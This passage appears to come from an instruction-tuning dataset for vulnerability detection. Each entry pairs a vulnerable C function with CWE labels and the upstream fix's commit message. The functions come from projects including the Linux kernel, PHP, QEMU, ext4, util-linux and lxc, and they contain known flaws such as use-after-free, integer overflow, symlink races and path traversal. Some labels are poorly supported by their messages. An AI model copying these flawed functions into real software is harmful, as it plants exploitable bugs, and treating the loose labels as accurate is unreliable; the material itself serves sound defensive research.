((dxfer_len <= 0) || (dxfer_dir == SG_DXFER_NONE))\n\t\treturn 0;\n\n\tif (sg_allow_dio && hp->flags & SG_FLAG_DIRECT_IO &&\n\t dxfer_dir != SG_DXFER_UNKNOWN && !iov_count &&\n\t !sfp->parentdp->device->host->unchecked_isa_dma &&\n\t blk_rq_aligned(q, (unsigned long)hp->dxferp, dxfer_len))\n\t\tmd = NULL;\n\telse\n\t\tmd = &map_data;\n\n\tif (md) {\n\t\tif (!sg_res_in_use(sfp) && dxfer_len <= rsv_schp->bufflen)\n\t\t\tsg_link_reserve(sfp, srp, dxfer_len);\n\t\telse {\n\t\t\tres = sg_build_indirect(req_schp, sfp, dxfer_len);\n\t\t\tif (res)\n\t\t\t\treturn res;\n\t\t}\n\n\t\tmd->pages = req_schp->pages;\n\t\tmd->page_order = req_schp->page_order;\n\t\tmd->nr_entries = req_schp->k_use_sg;\n\t\tmd->offset = 0;\n\t\tmd->null_mapped = hp->dxferp ? 0 : 1;\n\t\tif (dxfer_dir == SG_DXFER_TO_FROM_DEV)\n\t\t\tmd->from_user = 1;\n\t\telse\n\t\t\tmd->from_user = 0;\n\t}\n\n\tif (unlikely(iov_count > MAX_UIOVEC))\n\t\treturn -EINVAL;\n\n\tif (iov_count) {\n\t\tint size = sizeof(struct iovec) * iov_count;\n\t\tstruct iovec *iov;\n\t\tstruct iov_iter i;\n\n\t\tiov = memdup_user(hp->dxferp, size);\n\t\tif (IS_ERR(iov))\n\t\t\treturn PTR_ERR(iov);\n\n\t\tiov_iter_init(&i, rw, iov, iov_count,\n\t\t\t min_t(size_t, hp->dxfer_len,\n\t\t\t\t iov_length(iov, iov_count)));\n\n\t\tres = blk_rq_map_user_iov(q, rq, md, &i, GFP_ATOMIC);\n\t\tkfree(iov);\n\t} else\n\t\tres = blk_rq_map_user(q, rq, md, hp->dxferp,\n\t\t\t\t hp->dxfer_len, GFP_ATOMIC);\n\n\tif (!res) {\n\t\tsrp->bio = rq->bio;\n\n\t\tif (!md) {\n\t\t\treq_schp->dio_in_use = 1;\n\t\t\thp->info |= SG_INFO_DIRECT_IO;\n\t\t}\n\t}\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-189'], 'message': 'sg_start_req(): use import_iovec()\n\nSigned-off-by: Al Viro '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: CloudInitSetup(const char *tmpDirPath)\n{\n int deployStatus = DEPLOY_ERROR;\n const char *cloudInitTmpDirPath = \"/var/run/vmware-imc\";\n int forkExecResult;\n char command[1024];\n Bool cloudInitTmpDirCreated = FALSE;\n\n snprintf(command, sizeof(command),\n \"/bin/mkdir -p %s\", cloudInitTmpDirPath);\n command[sizeof(command) - 1] = '\\0';\n\n forkExecResult = ForkExecAndWaitCommand(command);\n if (forkExecResult != 0) {\n SetDeployError(\"Error creating %s dir: %s\",\n cloudInitTmpDirPath,\n strerror(errno));\n goto done;\n }\n\n cloudInitTmpDirCreated = TRUE;\n\n snprintf(command, sizeof(command),\n \"/bin/rm -f %s/cust.cfg %s/nics.txt\",\n cloudInitTmpDirPath, cloudInitTmpDirPath);\n command[sizeof(command) - 1] = '\\0';\n\n forkExecResult = ForkExecAndWaitCommand(command);\n\n snprintf(command, sizeof(command),\n \"/bin/cp %s/cust.cfg %s/cust.cfg\",\n tmpDirPath, cloudInitTmpDirPath);\n command[sizeof(command) - 1] = '\\0';\n\n forkExecResult = ForkExecAndWaitCommand(command);\n\n if (forkExecResult != 0) {\n SetDeployError(\"Error copying cust.cfg file: %s\",\n strerror(errno));\n goto done;\n }\n\n snprintf(command, sizeof(command),\n \"/usr/bin/test -f %s/nics.txt\", tmpDirPath);\n command[sizeof(command) - 1] = '\\0';\n\n forkExecResult = ForkExecAndWaitCommand(command);\n\n /*\n * /usr/bin/test -f returns 0 if the file exists\n * non zero is returned if the file does not exist.\n * We need to copy the nics.txt only if it exists.\n */\n if (forkExecResult == 0) {\n snprintf(command, sizeof(command),\n \"/bin/cp %s/nics.txt %s/nics.txt\",\n tmpDirPath, cloudInitTmpDirPath);\n command[sizeof(command) - 1] = '\\0';\n\n forkExecResult = ForkExecAndWaitCommand(command);\n if (forkExecResult != 0) {\n SetDeployError(\"Error copying nics.txt file: %s\",\n strerror(errno));\n goto done;\n }\n }\n\n deployStatus = DEPLOY_SUCCESS;\n\ndone:\n if (DEPLOY_SUCCESS == deployStatus) {\n TransitionState(INPROGRESS, DONE);\n } else {\n if (cloudInitTmpDirCreated) {\n snprintf(command, sizeof(command),\n \"/bin/rm -rf %s\",\n cloudInitTmpDirPath);\n command[sizeof(command) - 1] = '\\0';\n ForkExecAndWaitCommand(command);\n }\n sLog(log_error, \"Setting generic error status in vmx. \\n\");\n SetCustomizationStatusInVmx(TOOLSDEPLOYPKG_RUNNING,\n GUESTCUST_EVENT_CUSTOMIZE_FAILED,\n NULL);\n TransitionState(INPROGRESS, ERRORED);\n }\n\n return deployStatus;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'randomly generate tmp directory name'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int jas_stream_gobble(jas_stream_t *stream, int n)\n{\n\tint m;\n\tm = n;\n\tfor (m = n; m > 0; --m) {\n\t\tif (jas_stream_getc(stream) == EOF) {\n\t\t\treturn n - m;\n\t\t}\n\t}\n\treturn n;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-415', 'CWE-190', 'CWE-369'], 'message': 'Made some changes to the I/O stream library for memory streams.\nThere were a number of potential problems due to the possibility\nof integer overflow.\nChanged some integral types to the larger types size_t or ssize_t.\nFor example, the function mem_resize now takes the buffer size parameter\nas a size_t.\nAdded a new function jas_stream_memopen2, which takes a\nbuffer size specified as a size_t instead of an int.\nThis can be used in jas_image_cmpt_create to avoid potential\noverflow problems.\n\nAdded a new function jas_deprecated to warn about reliance on\ndeprecated library behavior.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void send_ext_audio_ack(VncState *vs)\n{\n vnc_lock_output(vs);\n vnc_write_u8(vs, VNC_MSG_SERVER_FRAMEBUFFER_UPDATE);\n vnc_write_u8(vs, 0);\n vnc_write_u16(vs, 1);\n vnc_framebuffer_update(vs, 0, 0,\n surface_width(vs->vd->ds),\n surface_height(vs->vd->ds),\n VNC_ENCODING_AUDIO);\n vnc_unlock_output(vs);\n vnc_flush(vs);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'ui/vnc: fix potential memory corruption issues\n\nthis patch makes the VNC server work correctly if the\nserver surface and the guest surface have different sizes.\n\nBasically the server surface is adjusted to not exceed VNC_MAX_WIDTH\nx VNC_MAX_HEIGHT and additionally the width is rounded up to multiple of\nVNC_DIRTY_PIXELS_PER_BIT.\n\nIf we have a resolution whose width is not dividable by VNC_DIRTY_PIXELS_PER_BIT\nwe now get a small black bar on the right of the screen.\n\nIf the surface is too big to fit the limits only the upper left area is shown.\n\nOn top of that this fixes 2 memory corruption issues:\n\nThe first was actually discovered during playing\naround with a Windows 7 vServer. During resolution\nchange in Windows 7 it happens sometimes that Windows\nchanges to an intermediate resolution where\nserver_stride % cmp_bytes != 0 (in vnc_refresh_server_surface).\nThis happens only if width % VNC_DIRTY_PIXELS_PER_BIT != 0.\n\nThe second is a theoretical issue, but is maybe exploitable\nby the guest. If for some reason the guest surface size is bigger\nthan VNC_MAX_WIDTH x VNC_MAX_HEIGHT we end up in severe corruption since\nthis limit is nowhere enforced.\n\nSigned-off-by: Peter Lieven \nSigned-off-by: Gerd Hoffmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int spl_object_storage_detach(spl_SplObjectStorage *intern, zval *this, zval *obj TSRMLS_DC) /* {{{ */\n{\n\tint hash_len, ret = FAILURE;\n\tchar *hash = spl_object_storage_get_hash(intern, this, obj, &hash_len TSRMLS_CC);\n\tif (!hash) {\n\t\treturn ret;\n\t}\n\tret = zend_hash_del(&intern->storage, hash, hash_len);\n\tspl_object_storage_free_hash(intern, hash);\n\t\n\treturn ret;\n} /* }}}*/ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(MultipleIterator, valid)\n{\n\tspl_SplObjectStorage *intern;\n\tspl_SplObjectStorageElement *element;\n\tzval *it, *retval = NULL;\n\tlong expect, valid;\n\n\tintern = (spl_SplObjectStorage*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\t\n\tif (zend_parse_parameters_none() == FAILURE) {\n\t\treturn;\n\t}\n\n\tif (!zend_hash_num_elements(&intern->storage)) {\n\t\tRETURN_FALSE;\n\t}\n\n\texpect = (intern->flags & MIT_NEED_ALL) ? 1 : 0;\n\n\tzend_hash_internal_pointer_reset_ex(&intern->storage, &intern->pos);\n\twhile (zend_hash_get_current_data_ex(&intern->storage, (void**)&element, &intern->pos) == SUCCESS && !EG(exception)) {\n\t\tit = element->obj;\n\t\tzend_call_method_with_0_params(&it, Z_OBJCE_P(it), &Z_OBJCE_P(it)->iterator_funcs.zf_valid, \"valid\", &retval);\n\n\t\tif (retval) {\n\t\t\tvalid = Z_LVAL_P(retval);\n\t\t\tzval_ptr_dtor(&retval);\n\t\t} else {\n\t\t\tvalid = 0;\n\t\t}\n\n\t\tif (expect != valid) {\n\t\t\tRETURN_BOOL(!expect);\n\t\t}\n\n\t\tzend_hash_move_forward_ex(&intern->storage, &intern->pos);\n\t}\n\n\tRETURN_BOOL(expect);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SPL_METHOD(SplDoublyLinkedList, serialize)\n{\n\tspl_dllist_object *intern = (spl_dllist_object*)zend_object_store_get_object(getThis() TSRMLS_CC);\n\tsmart_str buf = {0};\n\tspl_ptr_llist_element *current = intern->llist->head, *next;\n zval *flags;\n\tphp_serialize_data_t var_hash;\n\n\tif (zend_parse_parameters_none() == FAILURE) {\n\t\treturn;\n\t}\n\n\tPHP_VAR_SERIALIZE_INIT(var_hash);\n\n\t/* flags */\n\tMAKE_STD_ZVAL(flags);\n\tZVAL_LONG(flags, intern->flags);\n\tphp_var_serialize(&buf, &flags, &var_hash TSRMLS_CC);\n\tzval_ptr_dtor(&flags);\n\n\t/* elements */\n\twhile (current) {\n\t\tsmart_str_appendc(&buf, ':');\n\t\tnext = current->next;\n\n\t\tphp_var_serialize(&buf, (zval **)¤t->data, &var_hash TSRMLS_CC);\n\n\t\tcurrent = next;\n\t}\n\n\tsmart_str_0(&buf);\n\n\t/* done */\n\tPHP_VAR_SERIALIZE_DESTROY(var_hash);\n\n\tif (buf.c) {\n\t\tRETURN_STRINGL(buf.c, buf.len, 0);\n\t} else {\n\t\tRETURN_NULL();\n\t}\n\t\n} /* }}} */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fixed bug #70169 (Use After Free Vulnerability in unserialize() with SplDoublyLinkedList)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline FILE *xfmkstemp(char **tmpname, char *dir)\n{\n\tint fd;\n\tFILE *ret;\n\n\tfd = xmkstemp(tmpname, dir);\n\tif (fd == -1)\n\t\treturn NULL;\n\n\tif (!(ret = fdopen(fd, \"w+\" UL_CLOEXECSTR))) {\n\t\tclose(fd);\n\t\treturn NULL;\n\t}\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'chsh, chfn, vipw: fix filenames collision\n\nThe utils when compiled WITHOUT libuser then mkostemp()ing\n\"/etc/%s.XXXXXX\" where the filename prefix is argv[0] basename.\n\nAn attacker could repeatedly execute the util with modified argv[0]\nand after many many attempts mkostemp() may generate suffix which\nmakes sense. The result maybe temporary file with name like rc.status\nld.so.preload or krb5.keytab, etc.\n\nNote that distros usually use libuser based ch{sh,fn} or stuff from\nshadow-utils.\n\nIt's probably very minor security bug.\n\nAddresses: CVE-2015-5224\nSigned-off-by: Karel Zak '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static zval **php_zip_get_property_ptr_ptr(zval *object, zval *member, const zend_literal *key TSRMLS_DC) /* {{{ */\n{\n\tze_zip_object *obj;\n\tzval tmp_member;\n\tzval **retval = NULL;\n\n\tzip_prop_handler *hnd;\n\tzend_object_handlers *std_hnd;\n\tint ret;\n\n\tif (member->type != IS_STRING) {\n\t\ttmp_member = *member;\n\t\tzval_copy_ctor(&tmp_member);\n\t\tconvert_to_string(&tmp_member);\n\t\tmember = &tmp_member;\n\t\tkey = NULL;\n\t}\n\n\tret = FAILURE;\n\tobj = (ze_zip_object *)zend_objects_get_address(object TSRMLS_CC);\n\n\tif (obj->prop_handler != NULL) {\n\t\tif (key) {\n\t\t\tret = zend_hash_quick_find(obj->prop_handler, Z_STRVAL_P(member), Z_STRLEN_P(member)+1, key->hash_value, (void **) &hnd);\n\t\t} else {\t\n\t\t\tret = zend_hash_find(obj->prop_handler, Z_STRVAL_P(member), Z_STRLEN_P(member)+1, (void **) &hnd);\n\t\t}\n\t}\n\n\n\tif (ret == FAILURE) {\n\t\tstd_hnd = zend_get_std_object_handlers();\n\t\tretval = std_hnd->get_property_ptr_ptr(object, member, key TSRMLS_CC);\n\t}\n\n\tif (member == &tmp_member) {\n\t\tzval_dtor(member);\n\t}\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'Fixed bug #70350: ZipArchive::extractTo allows for directory traversal when creating directories'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: tile_make_weights (PixopsFilterDimension *dim,\n\t\t double scale)\n{\n int n = ceil (1 / scale + 1);\n double *pixel_weights = g_malloc_n (sizeof (double) * SUBSAMPLE, n);\n int offset;\n int i;\n\n dim->n = n;\n dim->offset = 0;\n dim->weights = pixel_weights;\n\n for (offset = 0; offset < SUBSAMPLE; offset++)\n {\n double x = (double)offset / SUBSAMPLE;\n double a = x + 1 / scale;\n\n for (i = 0; i < n; i++)\n {\n if (i < x)\n {\n if (i + 1 > x)\n *(pixel_weights++) = (MIN (i + 1, a) - x) * scale;\n else\n *(pixel_weights++) = 0;\n }\n else\n {\n if (a > i)\n *(pixel_weights++) = (MIN (i + 1, a) - i) * scale;\n else\n *(pixel_weights++) = 0;\n }\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'pixops: Fail make_weights functions on OOM\n\nThe weights could grow very large under certain circumstances, in\nparticular in security-relevant conditions, including the testsuite.\nBy allowing the weight allocation to fail, this can be worked around.\n\nhttps://bugzilla.gnome.org/show_bug.cgi?id=754387'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void write_rle_data(TGAContext *ctx, TGAColor *color, guint *rle_count)\n{\n\tfor (; *rle_count; (*rle_count)--) {\n\t\tg_memmove(ctx->pptr, (guchar *) color, ctx->pbuf->n_channels);\n\t\tctx->pptr += ctx->pbuf->n_channels;\n\t\tctx->pbuf_bytes_done += ctx->pbuf->n_channels;\n\t\tif (ctx->pbuf_bytes_done == ctx->pbuf_bytes)\n\t\t\treturn;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'tga: Wrap TGAColormap struct in its own API\n\nInstead of poking into it directly.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ext4_write_begin(struct file *file, struct address_space *mapping,\n\t\t\t loff_t pos, unsigned len, unsigned flags,\n\t\t\t struct page **pagep, void **fsdata)\n{\n\tstruct inode *inode = mapping->host;\n\tint ret, needed_blocks;\n\thandle_t *handle;\n\tint retries = 0;\n\tstruct page *page;\n\tpgoff_t index;\n\tunsigned from, to;\n\n\ttrace_ext4_write_begin(inode, pos, len, flags);\n\t/*\n\t * Reserve one block more for addition to orphan list in case\n\t * we allocate blocks but write fails for some reason\n\t */\n\tneeded_blocks = ext4_writepage_trans_blocks(inode) + 1;\n\tindex = pos >> PAGE_CACHE_SHIFT;\n\tfrom = pos & (PAGE_CACHE_SIZE - 1);\n\tto = from + len;\n\nretry:\n\thandle = ext4_journal_start(inode, needed_blocks);\n\tif (IS_ERR(handle)) {\n\t\tret = PTR_ERR(handle);\n\t\tgoto out;\n\t}\n\n\t/* We cannot recurse into the filesystem as the transaction is already\n\t * started */\n\tflags |= AOP_FLAG_NOFS;\n\n\tpage = grab_cache_page_write_begin(mapping, index, flags);\n\tif (!page) {\n\t\text4_journal_stop(handle);\n\t\tret = -ENOMEM;\n\t\tgoto out;\n\t}\n\t*pagep = page;\n\n\tret = block_write_begin(file, mapping, pos, len, flags, pagep, fsdata,\n\t\t\t\text4_get_block);\n\n\tif (!ret && ext4_should_journal_data(inode)) {\n\t\tret = walk_page_buffers(handle, page_buffers(page),\n\t\t\t\tfrom, to, NULL, do_journal_get_write_access);\n\t}\n\n\tif (ret) {\n\t\tunlock_page(page);\n\t\tpage_cache_release(page);\n\t\t/*\n\t\t * block_write_begin may have instantiated a few blocks\n\t\t * outside i_size. Trim these off again. Don't need\n\t\t * i_size_read because we hold i_mutex.\n\t\t *\n\t\t * Add inode to orphan list in case we crash before\n\t\t * truncate finishes\n\t\t */\n\t\tif (pos + len > inode->i_size && ext4_can_truncate(inode))\n\t\t\text4_orphan_add(handle, inode);\n\n\t\text4_journal_stop(handle);\n\t\tif (pos + len > inode->i_size) {\n\t\t\text4_truncate_failed_write(inode);\n\t\t\t/*\n\t\t\t * If truncate failed early the inode might\n\t\t\t * still be on the orphan list; we need to\n\t\t\t * make sure the inode is removed from the\n\t\t\t * orphan list in that case.\n\t\t\t */\n\t\t\tif (inode->i_nlink)\n\t\t\t\text4_orphan_del(NULL, inode);\n\t\t}\n\t}\n\n\tif (ret == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries))\n\t\tgoto retry;\nout:\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'ext4: use ext4_get_block_write in buffer write\n\nAllocate uninitialized extent before ext4 buffer write and\nconvert the extent to initialized after io completes.\nThe purpose is to make sure an extent can only be marked\ninitialized after it has been written with new data so\nwe can safely drop the i_mutex lock in ext4 DIO read without\nexposing stale data. This helps to improve multi-thread DIO\nread performance on high-speed disks.\n\nSkip the nobh and data=journal mount cases to make things simple for now.\n\nSigned-off-by: Jiaying Zhang \nSigned-off-by: \"Theodore Ts'o\" '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ext4_ext_insert_extent(handle_t *handle, struct inode *inode,\n\t\t\t\tstruct ext4_ext_path *path,\n\t\t\t\tstruct ext4_extent *newext, int flag)\n{\n\tstruct ext4_extent_header *eh;\n\tstruct ext4_extent *ex, *fex;\n\tstruct ext4_extent *nearex; /* nearest extent */\n\tstruct ext4_ext_path *npath = NULL;\n\tint depth, len, err;\n\text4_lblk_t next;\n\tunsigned uninitialized = 0;\n\n\tBUG_ON(ext4_ext_get_actual_len(newext) == 0);\n\tdepth = ext_depth(inode);\n\tex = path[depth].p_ext;\n\tBUG_ON(path[depth].p_hdr == NULL);\n\n\t/* try to insert block into found extent and return */\n\tif (ex && (flag != EXT4_GET_BLOCKS_PRE_IO)\n\t\t&& ext4_can_extents_be_merged(inode, ex, newext)) {\n\t\text_debug(\"append [%d]%d block to %d:[%d]%d (from %llu)\\n\",\n\t\t\t\text4_ext_is_uninitialized(newext),\n\t\t\t\text4_ext_get_actual_len(newext),\n\t\t\t\tle32_to_cpu(ex->ee_block),\n\t\t\t\text4_ext_is_uninitialized(ex),\n\t\t\t\text4_ext_get_actual_len(ex), ext_pblock(ex));\n\t\terr = ext4_ext_get_access(handle, inode, path + depth);\n\t\tif (err)\n\t\t\treturn err;\n\n\t\t/*\n\t\t * ext4_can_extents_be_merged should have checked that either\n\t\t * both extents are uninitialized, or both aren't. Thus we\n\t\t * need to check only one of them here.\n\t\t */\n\t\tif (ext4_ext_is_uninitialized(ex))\n\t\t\tuninitialized = 1;\n\t\tex->ee_len = cpu_to_le16(ext4_ext_get_actual_len(ex)\n\t\t\t\t\t+ ext4_ext_get_actual_len(newext));\n\t\tif (uninitialized)\n\t\t\text4_ext_mark_uninitialized(ex);\n\t\teh = path[depth].p_hdr;\n\t\tnearex = ex;\n\t\tgoto merge;\n\t}\n\nrepeat:\n\tdepth = ext_depth(inode);\n\teh = path[depth].p_hdr;\n\tif (le16_to_cpu(eh->eh_entries) < le16_to_cpu(eh->eh_max))\n\t\tgoto has_space;\n\n\t/* probably next leaf has space for us? */\n\tfex = EXT_LAST_EXTENT(eh);\n\tnext = ext4_ext_next_leaf_block(inode, path);\n\tif (le32_to_cpu(newext->ee_block) > le32_to_cpu(fex->ee_block)\n\t && next != EXT_MAX_BLOCK) {\n\t\text_debug(\"next leaf block - %d\\n\", next);\n\t\tBUG_ON(npath != NULL);\n\t\tnpath = ext4_ext_find_extent(inode, next, NULL);\n\t\tif (IS_ERR(npath))\n\t\t\treturn PTR_ERR(npath);\n\t\tBUG_ON(npath->p_depth != path->p_depth);\n\t\teh = npath[depth].p_hdr;\n\t\tif (le16_to_cpu(eh->eh_entries) < le16_to_cpu(eh->eh_max)) {\n\t\t\text_debug(\"next leaf isnt full(%d)\\n\",\n\t\t\t\t le16_to_cpu(eh->eh_entries));\n\t\t\tpath = npath;\n\t\t\tgoto repeat;\n\t\t}\n\t\text_debug(\"next leaf has no free space(%d,%d)\\n\",\n\t\t\t le16_to_cpu(eh->eh_entries), le16_to_cpu(eh->eh_max));\n\t}\n\n\t/*\n\t * There is no free space in the found leaf.\n\t * We're gonna add a new leaf in the tree.\n\t */\n\terr = ext4_ext_create_new_leaf(handle, inode, path, newext);\n\tif (err)\n\t\tgoto cleanup;\n\tdepth = ext_depth(inode);\n\teh = path[depth].p_hdr;\n\nhas_space:\n\tnearex = path[depth].p_ext;\n\n\terr = ext4_ext_get_access(handle, inode, path + depth);\n\tif (err)\n\t\tgoto cleanup;\n\n\tif (!nearex) {\n\t\t/* there is no extent in this leaf, create first one */\n\t\text_debug(\"first extent in the leaf: %d:%llu:[%d]%d\\n\",\n\t\t\t\tle32_to_cpu(newext->ee_block),\n\t\t\t\text_pblock(newext),\n\t\t\t\text4_ext_is_uninitialized(newext),\n\t\t\t\text4_ext_get_actual_len(newext));\n\t\tpath[depth].p_ext = EXT_FIRST_EXTENT(eh);\n\t} else if (le32_to_cpu(newext->ee_block)\n\t\t\t > le32_to_cpu(nearex->ee_block)) {\n/*\t\tBUG_ON(newext->ee_block == nearex->ee_block); */\n\t\tif (nearex != EXT_LAST_EXTENT(eh)) {\n\t\t\tlen = EXT_MAX_EXTENT(eh) - nearex;\n\t\t\tlen = (len - 1) * sizeof(struct ext4_extent);\n\t\t\tlen = len < 0 ? 0 : len;\n\t\t\text_debug(\"insert %d:%llu:[%d]%d after: nearest 0x%p, \"\n\t\t\t\t\t\"move %d from 0x%p to 0x%p\\n\",\n\t\t\t\t\tle32_to_cpu(newext->ee_block),\n\t\t\t\t\text_pblock(newext),\n\t\t\t\t\text4_ext_is_uninitialized(newext),\n\t\t\t\t\text4_ext_get_actual_len(newext),\n\t\t\t\t\tnearex, len, nearex + 1, nearex + 2);\n\t\t\tmemmove(nearex + 2, nearex + 1, len);\n\t\t}\n\t\tpath[depth].p_ext = nearex + 1;\n\t} else {\n\t\tBUG_ON(newext->ee_block == nearex->ee_block);\n\t\tlen = (EXT_MAX_EXTENT(eh) - nearex) * sizeof(struct ext4_extent);\n\t\tlen = len < 0 ? 0 : len;\n\t\text_debug(\"insert %d:%llu:[%d]%d before: nearest 0x%p, \"\n\t\t\t\t\"move %d from 0x%p to 0x%p\\n\",\n\t\t\t\tle32_to_cpu(newext->ee_block),\n\t\t\t\text_pblock(newext),\n\t\t\t\text4_ext_is_uninitialized(newext),\n\t\t\t\text4_ext_get_actual_len(newext),\n\t\t\t\tnearex, len, nearex + 1, nearex + 2);\n\t\tmemmove(nearex + 1, nearex, len);\n\t\tpath[depth].p_ext = nearex;\n\t}\n\n\tle16_add_cpu(&eh->eh_entries, 1);\n\tnearex = path[depth].p_ext;\n\tnearex->ee_block = newext->ee_block;\n\text4_ext_store_pblock(nearex, ext_pblock(newext));\n\tnearex->ee_len = newext->ee_len;\n\nmerge:\n\t/* try to merge extents to the right */\n\tif (flag != EXT4_GET_BLOCKS_PRE_IO)\n\t\text4_ext_try_to_merge(inode, path, nearex);\n\n\t/* try to merge extents to the left */\n\n\t/* time to correct all indexes above */\n\terr = ext4_ext_correct_indexes(handle, inode, path);\n\tif (err)\n\t\tgoto cleanup;\n\n\terr = ext4_ext_dirty(handle, inode, path + depth);\n\ncleanup:\n\tif (npath) {\n\t\text4_ext_drop_refs(npath);\n\t\tkfree(npath);\n\t}\n\text4_ext_invalidate_cache(inode);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'ext4: use ext4_get_block_write in buffer write\n\nAllocate uninitialized extent before ext4 buffer write and\nconvert the extent to initialized after io completes.\nThe purpose is to make sure an extent can only be marked\ninitialized after it has been written with new data so\nwe can safely drop the i_mutex lock in ext4 DIO read without\nexposing stale data. This helps to improve multi-thread DIO\nread performance on high-speed disks.\n\nSkip the nobh and data=journal mount cases to make things simple for now.\n\nSigned-off-by: Jiaying Zhang \nSigned-off-by: \"Theodore Ts'o\" '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int mount_proc_if_needed(const char *rootfs)\n{\n\tchar path[MAXPATHLEN];\n\tchar link[20];\n\tint linklen, ret;\n\tint mypid;\n\n\tret = snprintf(path, MAXPATHLEN, \"%s/proc/self\", rootfs);\n\tif (ret < 0 || ret >= MAXPATHLEN) {\n\t\tSYSERROR(\"proc path name too long\");\n\t\treturn -1;\n\t}\n\tmemset(link, 0, 20);\n\tlinklen = readlink(path, link, 20);\n\tmypid = (int)getpid();\n\tINFO(\"I am %d, /proc/self points to '%s'\", mypid, link);\n\tret = snprintf(path, MAXPATHLEN, \"%s/proc\", rootfs);\n\tif (ret < 0 || ret >= MAXPATHLEN) {\n\t\tSYSERROR(\"proc path name too long\");\n\t\treturn -1;\n\t}\n\tif (linklen < 0) /* /proc not mounted */\n\t\tgoto domount;\n\tif (atoi(link) != mypid) {\n\t\t/* wrong /procs mounted */\n\t\tumount2(path, MNT_DETACH); /* ignore failure */\n\t\tgoto domount;\n\t}\n\t/* the right proc is already mounted */\n\treturn 0;\n\ndomount:\n\tif (mount(\"proc\", path, \"proc\", 0, NULL))\n\t\treturn -1;\n\tINFO(\"Mounted /proc in container for security transition\");\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'CVE-2015-1335: Protect container mounts against symlinks\n\nWhen a container starts up, lxc sets up the container's inital fstree\nby doing a bunch of mounting, guided by the container configuration\nfile. The container config is owned by the admin or user on the host,\nso we do not try to guard against bad entries. However, since the\nmount target is in the container, it's possible that the container admin\ncould divert the mount with symbolic links. This could bypass proper\ncontainer startup 